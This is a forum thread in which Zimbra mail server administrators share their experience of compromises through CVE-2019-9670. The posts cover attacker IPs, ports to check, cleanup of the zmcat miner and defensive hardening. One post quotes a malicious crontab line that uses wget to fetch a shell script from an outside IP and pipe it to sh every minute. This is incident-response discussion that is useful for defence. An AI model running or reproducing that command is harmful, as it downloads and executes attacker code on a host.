CVE-2019-9670 being actively exploited (Hacked Server)

[Zenaida]

Hi!

Today I found this thread just pursuing this situation and as far as I was keeping my eye on this.

I have been atacked by the end of March. I found this situation, by early April during a casual maintence on the server. On this date, I haven't got any logs (due log-roll) but on these last days my server has been touched again. So I could fetch for more information and, when I has got almost all the info, I found this forum. I read all messages, and I thought I could try to help.

My case is a Zimbra behind a relay, so first I step I made is to block all connections to/from internet throught my firewall at least as soon as I had made all investigation during these days

I found more IP addresses, but I think these ones are not interesting as far as it can vary from today to tomorrow. ISP's has been notified...but this is not the first time I do notifications, so I have not any expectations to be replied at all.
My found IP's
61.177.26.58 - China
159.69.81.117 - Alemania This is the <<account's creator>>
45.112.125.139 - Jakarta
185.234.217.185 - Trying to authenticate
185.234.218.228 - Trying to authenticate

...and calling-back home each 15 minutes:
185.106.120.123
185.106.120.124
185.99.133.75
185.244.150.154
It was funny to see that, after blocking these ones, begin to call each minute

Fortunately, it don't seems to go further, but I will keep an eye on my system.

an interesting point that I didn't read here...All connections has been identified coming from a Macintosh; Intel Mac OS X 10_8_2

Now, to reply some posts:

I wrote some guidelines on the behaviour of the attack and how to clean zmcat....

Maxxer. Thank you for your guide. I needed to follow the lines as far as my zimbra install differsa liitle bit

Has anyone with recurring infections checked if the attacker uploaded a key to /opt/zimbra/.ssh/authorized_keys? Or if there are remote ssh logins for the zimbra user?

Not up to now...but on my (main) server I found connections each hour to ssh coming from the above mentioned IP since the first attack, so I guess it's trying to do so

I am working on a few tools to help with some proactive detection based on log analysis and came across greynoise today which can provide some information about the reputation of connecting ip's...

JDunphy - If still interested, I have got all data I found.


Now...time for my feared update to 8.8

[maxxer]

Maxxer, you may want to be more explicit in your blog post about changing the LDAP password

done, thanks

[yellowhousejake]

An great thread with lots of clear instruction, thank you to everyone who has contributed.

We recently did a migration from 8.0.7 NE to 8.8.9 NE so I was very interested in this thread. We had no issues with 8.0.7 and in fact only upgraded because our paid support no longer covered version 8.0.7. So, I checked our new server, running only two weeks, to see if we had been compromised. It does not appear so. I checked /var contents, /var/tmp contents, crontabs, nginx logs, authorized_keys, and I found no indication of the exploit.

I think we are okay due to the following.

- We block all ssh at our border. Our first firewall is closed by default and we open ports only after they are determined to be absolutely needed. Additional firewalls in the network restrict routing and machine to machine connections within our network. We do not allow connections from a server to anywhere unless we have reviewed the need for the connection. This will not stop the malware from being installed, but it will stop it from working I think.

- We block all connections at our border from overseas, except a few known and vetted vendors. We are small and can get away with such things. But, it nearly stops all spam and exploits for us at a very low overhead.

- I check our mail server daily. Both the generated reports and the queues are looked at and a bit of log scanning is done as well.

I still thought it best to see if I should patch for this exploit but I am unable to determine if it is needed. When I go the security page it does not list this CVE number under any patches for 8.8.9.
https://wiki.zimbra.com/wiki/Security_Center

That page does list 8.8.9 P10 as the most recent patch, but a patch file is no where to be found. The only instructions are to use updates and I installed from the most recent tarball. Is there a downloadable patch file or must I use Ubuntu updates to deploy the patch.

Also, if anyone is interested, Sophos will tag and identify the downloaded files as Txt.Malware.Sustes-6779550-1.

Thank you again,

DAve

[maxxer]

I still thought it best to see if I should patch for this exploit but I am unable to determine if it is needed. When I go the security page it does not list this CVE number under any patches for 8.8.9.

for current zimbra supported version, namely 8.8.x, you must update to the latest version.

[yellowhousejake]

I still thought it best to see if I should patch for this exploit but I am unable to determine if it is needed. When I go the security page it does not list this CVE number under any patches for 8.8.9.

for current zimbra supported version, namely 8.8.x, you must update to the latest version.

Thanks. We may or may not. Right now everything is running splendidly and this CVE is not patched yet. So moving to 8.9.12 fixes nothing for us as of today.

DAve

[JDunphy]

maxxer you have done a terrific job on your blog posting and this thread. I have recently added a few honeypots and the attack initiates within 24 hours so you have to be really lucky not to be discovered. The initial attacking ip's continue to increase so it is going to be a game of whack-a-mole to block them at the firewall it that is your technique vs patching. The ip's are in different geographical regions and is growing. Thus far: Russian, Canada, Denmark, USA, Greece, Hong Kong, and Poland. A few from USA universities and various discount hosting companies.

A few other ideas.
From our logs it appears that 2 services are targeted in addition to a query data traversal attack. None will succeed in patched systems that I have seen.

Code: Select all

% egrep -B1 -A4 '(ProxyServlet|AutoDiscover)' service.web.xml.in
  <servlet>
    <servlet-name>ProxyServlet</servlet-name>
    <servlet-class>com.zimbra.cs.zimlet.ProxyServlet</servlet-class>
    <async-supported>true</async-supported>
    <init-param>
      <param-name>allowed.ports</param-name>
      <param-value>%%zimbraMailPort%%, %%zimbraMailSSLPort%%, 7070</param-value>
--
  <servlet>
    <servlet-name>AutoDiscoverServlet</servlet-name>
    <servlet-class>com.zimbra.cs.service.AutoDiscoverServlet</servlet-class>
    <async-supported>true</async-supported>
    <init-param>
      <param-name>allowed.ports</param-name>
      <param-value>%%zimbraMailPort%%, %%zimbraMailSSLPort%%, %%zimbraAdminPort%%, 7070, 7443</param-value>
--
...
% zmprov gs `zmhostname` | egrep '(zimbraMailPort|zimbraMailSSLPort|zimbraAdminPort)'
zimbraAdminPort: 7071
zimbraMailPort: 8080
zimbraMailSSLPort: 8443
% netstat -na| grep LISTEN | egrep '(7071|8080|8443|7070|7443)'
tcp        0      0 0.0.0.0:8080                0.0.0.0:*                   LISTEN      
tcp        0      0 0.0.0.0:7071                0.0.0.0:*                   LISTEN      

While blocking with a firewall could reduce the attack surface it doesn't help against the SSRF (server side request forgery) attacks that some of the most recent patches attempted to fix. We don't see any attacks on the proxy service in our logs. I wonder if its because we don't allow incoming port 80. We block it at the firewall which is an unusual configuration given we redirect 80 to 443 in our web farms. Certainly, there is an incoming path via 443 but we only see the AutoDiscovery servlet XXE attempted. The security researcher mentioned in the 2nd post in this thread has recently recommended that perhaps removing %%zimbraMailPort%% and %%zimbraMailSSLPort%% and only allow 7070 for the ProxyServlet may help... and disable the AutoDiscoverServlet. Then restart zimbra.

I have more confidence in zimbra after observing the attacks against it with my recent check_attacks.pl script. This is a warning shot IMO and it's time to treat this mail server like a web server and use modern defense in depth practices. That is my direction and it will include modsecurity 3 for us because I need to get into that request/response pipeline.

Other practices... get a good tripwire/aide in place if you don't have one already. It's fairly easy to gain root by a determined attacker and then all bets are off if you don't have an offsite DB of digital signatures you compare against each day to alert you of breaches and even then there are ways that would make me not want to trust that server ever again after a compromise.

Thank you to everyone for sharing on this thread. I have learned a lot.

Jim

[Eritea]

Hello,

We've noticed we were affected this morning. But I think we were affected by a new kind of malware (I think).

We found this lines a te crontab for the zimbra user:

Code: Select all

root@mail:/var/spool/cron/crontabs# cat zimbra 
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Thu May 2 08:55:34 2019)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * wget -q -O - http://93.113.108.146:443/cr.sh | sh > /dev/null 2>&1

Then, we saw a JAVA Class that was not good (just following the lorenzo's blog.)

But,

At the /tmp we found things that shouldn't be there:

Code: Select all

drwxrwxrwt  2 root   root   4096 abr 30 07:54 .ICE-unix
srw-------  1 zimbra zimbra    0 may  2 17:14 .java_pid11864
-rw-r--r--  1 root   root   7874 may  2 11:00 nginx.access.log.1
-rw-r--r--  1 root   root     12 may  2 17:35 Syslog_syslog.idx
-rw-rw----  1 zimbra zimbra    6 abr 30 07:54 .UUID_NODEID
-rw-r-----  1 zimbra zimbra   16 may  2 17:37 .UUID_STATE
drwx------  2 root   root   4096 abr 30 07:54 vmware-root
drwxrwxrwt  2 root   root   4096 abr 30 07:54 .X11-unix
-rw-r--r--  1 root   root   9746 may  1 20:11 zmpatch.05012019-201118.log
lrwxrwxrwx  1 root   root     32 may  1 20:11 zmpatch.log -> /tmp/zmpatch.05012019-201118.log

There is a -java_pid11864 which is a file that is monitoring a process:

Code: Select all

root@mail:/tmp# ps aux |grep 11864
zimbra   11864  116 16.7 8217216 2753804 ?     Sl   17:13  28:14 /opt/zimbra/common/bin/java -Dfile.encoding=UTF-8 -server -Djava.awt.headless=true -Dsun.net.inetaddr.ttl=60 -Dorg.apache.jasper.compiler.disablejsr199=true -XX:+UseConcMarkSweepGC -XX:SoftRefLRUPolicyMSPerMB=1 -verbose:gc -XX:+PrintGCDetails -XX:+PrintGCDateStamps -XX:+PrintGCApplicationStoppedTime -XX:-OmitStackTraceInFastThrow -Xloggc:/opt/zimbra/log/gc.log -XX:-UseGCLogFileRotation -XX:NumberOfGCLogFiles=20 -XX:GCLogFileSize=4096K -Djava.net.preferIPv4Stack=true -Xss256k -Xms4096m -Xmx4096m -Xmn1024m -Djava.io.tmpdir=/opt/zimbra/mailboxd/work -Djava.library.path=/opt/zimbra/lib -Djava.endorsed.dirs=/opt/zimbra/mailboxd/common/endorsed -Dzimbra.config=/opt/zimbra/conf/localconfig.xml -Djetty.home=/opt/zimbra/mailboxd -DSTART=/opt/zimbra/mailboxd/etc/start.config -jar /opt/zimbra/mailboxd/start.jar --module=zimbra,server,servlet,servlets,jsp,jstl,jmx,resources,websocket,ext,plus,rewrite,monitor,continuation,webapp,setuid jetty.home=/opt/zimbra/mailboxd jetty.base=/opt/zimbra/mailboxd /opt/zimbra/mailboxd/etc/jetty.xml

No matter what I do that process starts over a over again with a different pid.

The system was patched yesterday but I presume that the system was modified after that because the hacker had access to the system.

Cheking for the MD5 signatures there's a lot of files modified....

We've close the webmail access from the Internet and our mail server can not talk to the internet using 80 nor 443 tcp ports..

Any idea?

[yellowhousejake]

I agree the firewall will not make this a non-issue, but what ways are there to determine if a server request is valid? I am looking at tripwire now for at least an early warning system. Thinking of Zimbra as a web server is exactly the correct way to look at the product. We have always done so since we first switched from Exchange.

DAve

[halfgaar]

Eritea, I think you're confusing things. Your contents on /tmp and that process seem normal.

The script that the wget command in cron downloads shows what is done. It's posted a page back, go look at it.

And, clean your crontab.

And what files have a mismatched hash? Can you post it?

[tin]

I just found more modified files on our server (8.7 patched).... That appeared today, modified about 20 minutes ago (right while I was catching up on this thread, ironically).
And /var/tmp/zmcat has now appeared. This was not present when we patched, nor was it present when we found our web interface broken... Our zimbra crontab has also had that wget line added since I last looked.